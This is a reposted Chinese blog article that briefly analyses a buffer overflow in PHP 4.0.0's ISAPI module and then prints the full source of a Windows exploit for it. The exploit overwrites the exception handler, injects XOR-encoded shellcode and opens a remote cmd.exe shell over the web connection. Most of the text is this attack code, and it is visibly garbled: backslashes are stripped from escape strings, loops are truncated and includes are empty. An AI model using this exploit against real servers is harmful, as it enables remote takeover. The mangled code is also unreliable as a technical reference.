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php4.0.0远程溢出源代码分析与测试程序 (转)

原创 IT综合 作者:worldblog 时间:2007-12-04 10:32:51 0 删除 编辑
php4.0.0远程溢出源代码分析与测试程序 (转)[@more@]PHP4.0.0才出来的时候,我们测试发现php4isASP.dll有缓冲溢出漏洞,下面是php4isapi.c的相关源代码

static void sapi_isapi_register_server_variables(zval *track_vars_array ELS_DC SLS_DC PLS_DC)
{
char static_variable_buf[ISAPI_SERVER_VAR_BUF_SIZE];
char *variable_buf;
Dword variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
char *variable;
char *strtok_buf = NULL;
LPEXTENSION_CONTROL_BLOCK lpECB;
char **p = isapi_server_variables;

lpECB = (LPEXTENSION_CONTROL_BLOCK) SG(server_context);

/* Register the standard ISAPI variables */
while (*p) {
 variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
 if (lpECB->GetServerVariable(lpECB->ConnID, *p, static_variable_buf, &variable_len)
 && static_variable_buf[0]) {
 php_register_variable(*p, static_variable_buf, track_vars_array ELS_CC PLS_CC);
 } else if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
 variable_buf = (char *) emalloc(variable_len);
 if (lpECB->GetServerVariable(lpECB->ConnID, *p, variable_buf, &variable_len)
 && variable_buf[0]) {
 php_register_variable(*p, variable_buf, track_vars_array ELS_CC PLS_CC);
 }
 efree(variable_buf);
 }
 p++;
}

/* PHP_SELF support */
#ifdef WITH_ZEUS
if (lpECB->GetServerVariable(lpECB->ConnID, "PATH_INFO", static_variable_buf, &variable_len)
#else
if (lpECB->GetServerVariable(lpECB->ConnID, "SCRIPT_NAME", static_variable_buf, &variable_len)

/* php4.0.0漏洞所在地,缓冲溢出。此时的variable_len变量已经是上次调用GetServerVariable 的返回变量 */
/* php4.0.3 已经修补 */

#endif
 && static_variable_buf[0]) {
 php_register_variable("PHP_SELF", static_variable_buf, track_vars_array ELS_CC PLS_CC);

/*
 因为形参被覆盖,而这形参又很难伪造,所以传统的溢出攻击因为这个调用不能返回而无效
 但我们可以使用异常结构攻击,可以参见我的相关的文章
*/


}

/* Register the internal bits of ALL_HTTP */

variable_len = ISAPI_SERVER_VAR_BUF_SIZE;

if (lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", static_variable_buf, &variable_len)) {
 variable_buf = static_variable_buf;
} else {
 if (GetLastError()==ERROR_INSUFFICIENT_BUFFER) {
 variable_buf = (char *) emalloc(variable_len);
 if (!lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", variable_buf, &variable_len)) {
 efree(variable_buf);
 return;
 }
 } else {
 return;
 }
}
variable = php_strtok_r(variable_buf, "rn", &strtok_buf);
while (variable) {
 char *colon = strchr(variable, ':');

 if (colon) {
 char *value = colon+1;

 while (*value==' ') {
 value++;
 }
 *colon = 0;
 php_register_variable(variable, value, track_vars_array ELS_CC PLS_CC);
 *colon = ':';
 }
 variable = php_strtok_r(NULL, "rn", &strtok_buf);
}
if (variable_buf!=static_variable_buf) {
 efree(variable_buf);
}
}

 因为形参的问题,采用的覆盖异常处理结构的办法使得shellcode代码得到控制。但因为异常结构代码相对不统一,可能需要根据被攻击系统windows版本调整相关参数。具体攻击测试代码:

/* 
 php4.0 overflow program phphack.c ver 1.0
 copy by yuange .NET> 2000。08。16

*/ 

#include
#include
#include
#include
// #define DEbug

//#define RETEIPADDR eipwin2000
#define FNENDLONG 0x08
#define NOPCODE 'B' // INC EDX 0x90
#define NOPLONG 0x3c
#define BUFFSIZE 0x20000



#define RETEIPADDRESS 0x900+4
#define SHELLBUFFSIZE 0x800
#define SHELLFNNUMS 9
#define DATAXORCODE 0xAA
#define LOCKBIgnuM 19999999
#define LOCKBIGNUM2 13579139

#define SHELLPORT 0x1f90 //0x1f90=8080
#define webPORT 80 

void shellcodefnlock();
void shellcodefn(char *ecb);

void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);

int main(int argc, char **argv)
{
 char *server;
 char *str="LoadLibraryA""x0""CreatePipe""x0"
 "CreateProcessA""x0""CloseHandle""x0"
 "PeekNamedPipe""x0"
 "ReadFile""x0""WriteFile""x0"
 "Sleep""x0"
 "cmd.exe""x0""x0dx0a""exit""x0dx0a""x0"
 "XORDATA""x0"
 "strend";
 char buff1[]="GET /default.php4";
 char buff2[]=" HTTP/1.1 nHOST:";
 char *fnendstr="x90x90x90x90x90x90x90x90x90";
 char SRLF[]="x0dx0ax00x00"; 

 
 char eipjmpesp[] ="xb7x0exfax7f";
// push esp
// ret
 char eipexcept[]="xb8x0exfax7F";
// ret
 char eipjmpesi[]="x08x88xfax7F"; 
 char eipjmpedi[]="xbex8bxfax7F"; 
 char eipjmpebx[]="x73x67xfax7F"; 
// push ebx
// ret
/*
 jmp ebx功能代码地址, 中文WINNT、中文WIN2000此地址固定
 这是处于c_936.nls模块
 win2000发生异常调用异常处理结构代码时ebx指向异常结构。winnt老版本是esi,可用7ffa8808,后面版本是edi,可用7ffa8bbe。 
*/

 char buff[BUFFSIZE];
 char recvbuff[BUFFSIZE];
 char shellcodebuff[0x1000];
 struct sockaddr_in s_in2,s_in3;
 struct hostent *he;
 char *shellcodefnadd,*chkespadd;
 unsigned int sendpacketlong;
// unsigned
 int i,j,k;
 unsigned char temp;
 int fd;
 u_short port,port1,shellcodeport;
 SOCKET d_ip;
 WSADATA wsaData;
 int offset=0;
 int xordatabegin;
 int lockintvar1,lockintvar2;
 char lockcharvar;
 int OVERADD=RETEIPADDRESS;
 int result;

 fprintf(stderr,"n PHP4.0 FOR win32 OVERFLOW PROGRAM 2.0 .");
 fprintf(stderr,"n copy by yuange 2000.8.16.");
 fprintf(stderr,"n wellcome to my homepage http://yuange.yeah.net .");
 fprintf(stderr,"n welcome to http://www.nsfocus.com .");
 fprintf(stderr,"n usage: %s [webport] n", argv[0]);

 
 if(argc <2){
 fprintf(stderr,"n please enter the web server:");
 gets(recvbuff);
 for(i=0;i if(recvbuff[i]!=' ') break;
 }

 server=recvbuff;
 if(i/*
 fprintf(stderr,"n please enter the offset(0-3):");
 gets(buff);
 for(i=0;i if(buff[i]!=' ') break;
 }
 offset=atoi(buff+i); 
*/
 }


 result= WSAStartup(MAKEWORD(1, 1), &wsaData);
 if (result != 0) {
 fprintf(stderr, "Your computer was not connected "
 "to the Internet at the time that "
 "this program was launched, or you "
 "do not have a 32-bit "
 "connection to the Internet.");
 exit(1);
 }

/*
 if(argc>2){
 offset=atoi(argv[2]);
 }
 OVERADD+=offset;
 if(offset<0||offset>3){
 fprintf(stderr,"n offset error !offset 0 - 3 .");
 gets(buff);
 exit(1);
 }

 */
 


 if(argc <2){
 // WSACleanup( ); 
// exit(1);
 }
 else server = argv[1];

 for(i=0;i if(server[i]!=' ')
 break;
 }
 if(i
 for(i=0;i+3 
 if(server[i]==':'){
 if(server[i+1]==''||server[i+1]=='/'){
 if(server[i+2]==''||server[i+2]=='/'){
 server+=i;
 server+=3;
 break;
 }
 }
 }
 }
 for(i=1;i<=strlen(server);++i){
 if(server[i-1]==''||server[i-1]=='/') server[i-1]=0;
 }

 d_ip = .net_addr(server);
 if(d_ip==-1){
 he = gethostbyname(server);
 if(!he)
 {
 WSACleanup( );
 printf("n Can't get the ip of %s !n",server);
 gets(buff);
 exit(1); 
 }
 else memcpy(&d_ip, he->h_addr, 4);
 } 
 
 if(argc>2) port=atoi(argv[2]);
 else port=WEBPORT;
 if(port==0) port=WEBPORT;

 fd = socket(AF_INET, SOCK_STREAM,0);
 i=8000;
 setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
 
 s_in3.sin_family = AF_INET;
 s_in3.sin_port = htons(port);
 s_in3.sin_addr.s_addr = d_ip;
 printf("n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
 
if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct sockaddr_in))!=0)

 closesocket(fd);
 WSACleanup( );
 fprintf(stderr,"n connect err.");
 gets(buff);
 exit(1);
}
 
 _asm{
 mov ESI,ESP
 cmp ESI,ESP
 }
 _chkesp();
 chkespadd=_chkesp;
 temp=*chkespadd;
 if(temp==0xe9) {
 ++chkespadd;
 i=*(int*)chkespadd;
 chkespadd+=i;
 chkespadd+=4;
 }

 shellcodefnadd=shellcodefnlock;
 temp=*shellcodefnadd;
 if(temp==0xe9) {
 ++shellcodefnadd;
 k=*(int *)shellcodefnadd;
 shellcodefnadd+=k;
 shellcodefnadd+=4;
 }

 for(k=0;k<=0x500;++k){
 if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
 }
 memset(buff,NOPCODE,BUFFSIZE);
 if(argc>4){
 memcpy(buff,argv[4],strlen(argv[4]));
 }
 else memcpy(buff,buff1,strlen(buff1));
 // strcpy(buff,buff1);
// memset(buff+strlen(buff),NOPCODE,1);

 memcpy(buff+OVERADD+0x60+NOPLONG,shellcodefnadd+k+4,0x80);
// memcpy(buff+NOPLONG,shellcodefnadd+k+4,0x80);
 
 shellcodefnadd=shellcodefn;
 temp=*shellcodefnadd;
 if(temp==0xe9) {
 ++shellcodefnadd;
 k=*(int *)shellcodefnadd;
 shellcodefnadd+=k;
 shellcodefnadd+=4;
 }
 

 for(k=0;k<=0x1000;++k){
 if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
 }

 memcpy(shellcodebuff,shellcodefnadd,k); //j);
 cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
 for(i=0;i<0x400;++i){
 if(memcmp(str+i,"strend",6)==0) break;
 } 
 memcpy(shellcodebuff+k,str,i);


 sendpacketlong=k+i;
 for(k=0;k<=0x200;++k){
 if(memcmp(buff+OVERADD+NOPLONG+k,fnendstr,FNENDLONG)==0) break;

// if(memcmp(buff+NOPLONG+k,fnendstr,FNENDLONG)==0) break;

 }

 
 
 
 for(i=0;i temp=shellcodebuff[i];
 temp^=DATAXORCODE;
 if(temp<=0x10||temp==' '||temp=='.'||temp=='/'||temp==''||temp=='0'||temp=='?'||temp=='%'){
 buff[OVERADD+NOPLONG+k]='0';

 // buff[NOPLONG+k]='0';
 ++k;
 temp+=0x40;
 }
 buff[OVERADD+NOPLONG+k]=temp;

 // buff[NOPLONG+k]=temp;
 ++k;
}

 

// memcpy(buff+OVERADD+NOPLONG+k,shellcodebuff,sendpacketlong);
// k+=sendpacketlong;


/*
 for(i=-0x30;i<0x30;i+=4){
 memcpy(buff+OVERADD+i,eipexcept,4);
 }
 memcpy(buff+OVERADD+i,eipjmpesp,4);
*/
 for(i=-40;i<0x40;i+=8){
 memcpy(buff+OVERADD+i,"x42x42x42x2D",4);
 memcpy(buff+OVERADD+i+4,eipjmpebx,4);
 }
 memcpy(buff+OVERADD+i+8,"x42x42x42x42x61x61x61x61x61x61x61x61x61x61x61x61x5bxffx63x64x42x42x42x42",24);



// fprintf(stderr,"n offset:%d",offset);



 /*

 192.168.8.48
 if(argc>2){
 server=argv[2];
 if(strcmp(server,"WIN9X")==0){
 memcpy(buff+OVERADD,eipwin9x,4);
 fprintf(stderr,"n nuke win9x.");
 }
 if(strcmp(server,"winnt")==0){
 memcpy(buff+OVERADD,eipwinnt,4);
 fprintf(stderr,"n nuke winnt.");
 }
 
 }

*/

 sendpacketlong=k+OVERADD+i+NOPLONG;
//sendpacketlong=k+NOPLONG;

strcpy(buff+sendpacketlong,buff2);
strcpy(buff+sendpacketlong+strlen(buff2),server);

 sendpacketlong=strlen(buff);
// buff[sendpacketlong]=0x90;
strcpy(buff+sendpacketlong,"nn");
/*
buff[sendpacketlong]=0x90;
for(i=-0x30;i<0x30;i+=4){
 memcpy(buff+sendpacketlong+OVERADD+i,eipexcept,4);
 }
 memcpy(buff+sendpacketlong+OVERADD+i,eipwinnt,4);

 strcpy(buff+sendpacketlong+OVERADD+i+4,"xffx63x64");
 
 strcpy(buff+sendpacketlong+OVERADD+i+20,"nn");
*/

// printf("n send buff:n%s",buff);
// strcpy(buff+OVERADD+NOPLONG,shellcode);
 sendpacketlong=strlen(buff);

/*
#ifdef DEBUG
 _asm{
 lea esp,buff
 add esp,OVERADD
 ret

 }
#endif

*/
 if(argc>6) {
 if(strcmp(argv[6],"debug")==0) {
 _asm{
 lea esp,buff
 add esp,OVERADD
 ret
 }
 }
 }



 xordatabegin=0;
 for(i=0;i<1;++i){
 j=sendpacketlong;
 fprintf(stderr,"n send packet %d bytes.",j);
// fprintf(stderr,"n sned:n%s ",buff);
 send(fd,buff,j,0);
 k=recv(fd,recvbuff,0x1000,0);
 if(k>=8&&memcmp(recvbuff,"XORDATA",8)==0) {
 xordatabegin=1;
 k=-1;
 fprintf(stderr,"n ok!n");
 }
 if(k>0){
 recvbuff[k]=0;
 fprintf(stderr,"n recv:n %s",recvbuff);
 }

 }

 k=1;
 ioctlsocket(fd, FIONBIO, &k);

// fprintf(stderr,"n now begin: n");

 lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
 lockintvar2=lockintvar1;


/*
 for(i=0;i SRLF[i]^=DATAXORCODE;
 }
 send(fd,SRLF,strlen(SRLF),0);
 send(fd,SRLF,strlen(SRLF),0);
 send(fd,SRLF,strlen(SRLF),0);
*/
 k=1;
 while(k!=0){
 if(k<0){
 gets(buff);
 k=strlen(buff);
 memcpy(buff+k,SRLF,3);
 // send(fd,SRLF,strlen(SRLF),0);
 // fprintf(stderr,"%s",buff);
 for(i=0;i lockintvar2=lockintvar2*0x100;
 lockintvar2=lockintvar2%LOCKBIGNUM;
 lockcharvar=lockintvar2%0x100;
 buff[i]^=lockcharvar; // DATAXORCODE;
// buff[i]^=DATAXORCODE;
 }
 send(fd,buff,k+2,0);
// send(fd,SRLF,strlen(SRLF),0);
 }
 k=recv(fd,buff,0x1000,0);
 if(xordatabegin==0&&k>=8&&memcmp(buff,"XORDATA",8)==0) {
 xordatabegin=1;
 k=-1;
 }

 if(k>0){
// fprintf(stderr,"recv %d bytes",k);
 if(xordatabegin==1){
 for(i=0;i lockintvar1=lockintvar1*0x100;
 lockintvar1=lockintvar1%LOCKBIGNUM;
 lockcharvar=lockintvar1%0x100;
 buff[i]^=lockcharvar; // DATAXORCODE;
 }
 }
 buff[k]=0;
 fprintf(stderr,"%s",buff);
 }
// if(k==0) break;
 } 
 closesocket(fd);
 WSACleanup( );
 fprintf(stderr,"n the server close connect.");
 gets(buff);
 return(0);
}
void shellcodefnlock()
{
 _asm{
 nop
 nop
 nop
 nop
 nop
 nop
 nop
 nop
 _emit('.')

 _emit('p')
 _emit('h')
 _emit('p')
 _emit('4')
 _emit('?')


 jmp next
getediadd: pop EDI
 push EDI
 pop ESI
 push ebx // ecb
 push ebx // call shellcodefn ret address
 xor ecx,ecx
looplock: lodsb
 cmp al,cl
 jz shell
 cmp al,0x30
 jz clean0
sto: xor al,DATAXORCODE
 stosb
 jmp looplock
clean0: lodsb
 sub al,0x40
 jmp sto
next: call getediadd
shell: NOP
 NOP
 NOP
 NOP
 NOP
 NOP
 NOP
 NOP
 
 }


void shellcodefn(char *ecb)
{ char Buff[SHELLBUFFSIZE+2];
 int *except[2];


 FARPROC Sleepadd;
 FARPROC WriteFileadd;
 FARPROC ReadFileadd;
 FARPROC PeekNamedPipeadd;
 FARPROC CloseHandleadd;
 FARPROC CreateProcessadd;
 FARPROC CreatePipeadd;
 FARPROC procloadlib;

 FARPROC apifnadd[1];
 FARPROC procgetadd=0;
 FARPROC writeclient= *(int *)(ecb+0x84);
 FARPROC readclient = *(int *)(ecb+0x88);
 HCONN ConnID = *(int *)(ecb+8) ;
 char *stradd;
 int imgbase,fnbase,k,l;
 HANDLE libhandle; //libwsock32; 
 STARTUPINFO siinfo;

 PROCESS_INFORMATION ProcessInformation;
 HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
 int lBytesRead;
 int lockintvar1,lockintvar2;
 char lockcharvar;

 
 
 SECURITY_ATTRIBUTES sa;
 _asm { jmp nextcall
 getstradd: pop stradd
 lea EDI,except
 mov dword ptr FS:[0],EDI
 }
 except[0]=0xffffffff;
 except[1]=stradd-0x07;

 imgbase=0x77e00000;
 _asm{
 call getexceptretadd
 }
 for(;imgbase<0xbffa0000,procgetadd==0;){
 imgbase+=0x10000;
 if(imgbase==0x78000000) imgbase=0xbff00000;
 if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int *)(imgbase+0x3c))=='EP'){
 fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
 k=*(int *)(fnbase+0xc)+imgbase;
 if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
 libhandle=imgbase;
 k=imgbase+*(int *)(fnbase+0x20);
 for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
 if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor')
 {
 k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
 k+=*(int *)(fnbase+0x10)-1;
 k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
 procgetadd=k+imgbase;
 break;
 }
 }
 }
 }
 }
//搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
//注意这儿处理了搜索页面不在情况。

 if(procgetadd==0) goto die ;

 for(k=1;k apifnadd[k]=procgetadd(libhandle,stradd);
 for(;;++stradd){
 if(*(stradd)==0&&*(stradd+1)!=0) break;
 }
 ++stradd;
 }

 sa.nLength=12;
 sa.lpSecurityDescriptor=0;
 sa.bInheritHandle=TRUE;

 CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
 CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);


// ZeroMemory(&siinfo,sizeof(siinfo));
 _asm{
 lea EDI,siinfo
 xor eax,eax
 mov ecx,0x11
 repnz stosd
 }
 siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 siinfo.wShowWindow = SW_Hide;
 siinfo.hStdInput = hReadPipe2;
 siinfo.hStdOutput=hWritePipe1;
 siinfo.hStdError =hWritePipe1;
 k=0;
// while(k==0)
// {
 k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
 stradd+=8;
// } 
 PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
 k=8;
 writeclient(ConnID,stradd+9,&k,0);

 lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
 lockintvar2=lockintvar1;

 
 while(1) {
 PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
 if(lBytesRead>0) {
 ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
 if(lBytesRead>0) {
 for(k=0;k lockintvar2=lockintvar2*0x100;
 lockintvar2=lockintvar2%LOCKBIGNUM;
 lockcharvar=lockintvar2%0x100;
 Buff[k]^=lockcharvar; // DATAXORCODE;
// Buff[k]^=DATAXORCODE;
 }
 writeclient(ConnID,Buff,&lBytesRead,0); // HSE_IO_SYNC);
 }
 }
 else{
 lBytesRead=SHELLBUFFSIZE;
 k=readclient(ConnID,Buff,&lBytesRead);
 if(k!=1){
 k=8;
 WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
 WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
 WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
 while(1){
 Sleepadd(0x7fffffff); //僵死 
 } 
 
 }
 else{
 for(k=0;k lockintvar1=lockintvar1*0x100;
 lockintvar1=lockintvar1%LOCKBIGNUM;
 lockcharvar=lockintvar1%0x100;
 Buff[k]^=lockcharvar; // DATAXORCODE;
// Buff[k]^=DATAXORCODE;
 }
 WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
// Sleepadd(1000);
 }
 }
 }
 
 die: goto die ;
 _asm{

getexceptretadd: pop eax
 push eax
 mov edi,dword ptr [stradd]
 mov dword ptr [edi-0x0e],eax
 ret
errprogram: mov eax,dword ptr [esp+0x0c]
 add eax,0xb8
 mov dword ptr [eax],0x11223344 //stradd-0xe
 xor eax,eax //2
 ret //1
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
 NOP
 NOP
 NOP
 NOP
 NOP
 NOP
 NOP
 NOP
 NOP
 } 
}



void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{
 int i,k;
 unsigned char temp;
 char *calladd;

 for(i=0;i temp=shellbuff[i];
 if(temp==0xe8){
 k=*(int *)(shellbuff+i+1);
 calladd=fnadd;
 calladd+=k;
 calladd+=i;
 calladd+=5;
 if(calladd==chkesp){
 shellbuff[i]=0x90;
 shellbuff[i+1]=0x43; // inc ebx
 shellbuff[i+2]=0x4b; // dec ebx
 shellbuff[i+3]=0x43;
 shellbuff[i+4]=0x4b;
 }
 }
 }
}


来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/10752043/viewspace-988142/,如需转载,请注明出处,否则将追究法律责任。

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